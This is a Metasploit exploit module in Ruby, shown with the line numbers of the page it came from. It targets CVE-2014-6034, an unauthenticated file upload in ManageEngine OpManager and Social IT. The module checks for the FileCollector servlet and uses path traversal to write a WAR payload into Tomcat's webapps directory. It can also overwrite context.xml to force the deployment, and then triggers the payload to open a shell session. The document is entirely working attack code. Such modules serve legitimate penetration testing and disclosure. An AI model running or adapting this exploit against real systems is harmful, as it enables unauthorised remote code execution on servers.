1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name'=> 'ManageEngine OpManager / Social IT Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT. The vulnerability exists in the FileCollector servlet which accepts unauthenticated file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on version 11.0 of SocialIT for Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'CVE', '2014-6034' ], [ 'OSVDB', '112276' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ] ], 'Privileged'=> true, 'Platform'=> 'java', 'Arch'=> ARCH_JAVA, 'Targets' => [ [ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Sep 27 2014')) register_options( [ Opt::RPORT(80), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for WAR deployment', 15]), ], self.class) end def check res = send_request_cgi({ 'uri'=> normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"), 'method' => 'GET' }) # A GET request on this servlet returns "405 Method not allowed" if res and res.code == 405 return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def upload_war_and_exec(try_again, app_base) tomcat_path = '../../../tomcat/' servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector' if try_again # We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration # does not allow us to deploy WARs. Fix that by uploading a new context.xml file. # The file we are uploading has the same content apart from privileged="false" and lots of XML comments. # After replacing the context.xml file let's upload the WAR again. print_status("#{peer} - Replacing Tomcat context file") send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>}, 'ctype' => 'application/xml', 'vars_get' => { 'regionID' => tomcat_path + "conf", 'FILENAME' => "context.xml" } }) else # We need to create the upload directories before our first attempt to upload the WAR. print_status("#{peer} - Creating upload directories") bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => rand_text_alphanumeric(4 + rand(32 - 4)), 'ctype' => 'application/xml', 'vars_get' => { 'regionID' => "", 'FILENAME' => bogus_file } }) register_files_for_cleanup("state/archivedata/zip/" + bogus_file) end war_payload = payload.encoded_war({ :app_name => app_base }).to_s print_status("#{peer} - Uploading WAR file...") res = send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => war_payload, 'ctype' => 'application/octet-stream', 'vars_get' => { 'regionID' => tomcat_path + "webapps", 'FILENAME' => app_base + ".war" } }) # The server either returns a 500 error or a 200 OK when the upload is successful. if res and (res.code == 500 or res.code == 200) print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + " seconds for deployment") sleep(datastore['SLEEP']) else fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") end print_status("#{peer} - Executing payload, wait for session...") send_request_cgi({ 'uri'=> normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) end def exploit app_base = rand_text_alphanumeric(4 + rand(32 - 4)) upload_war_and_exec(false, app_base) register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war") sleep_counter = 0 while not session_created? if sleep_counter == datastore['SLEEP'] print_error("#{peer} - Failed to get a shell, let's try one more time") upload_war_and_exec(true, app_base) return end sleep(1) sleep_counter += 1 end end end |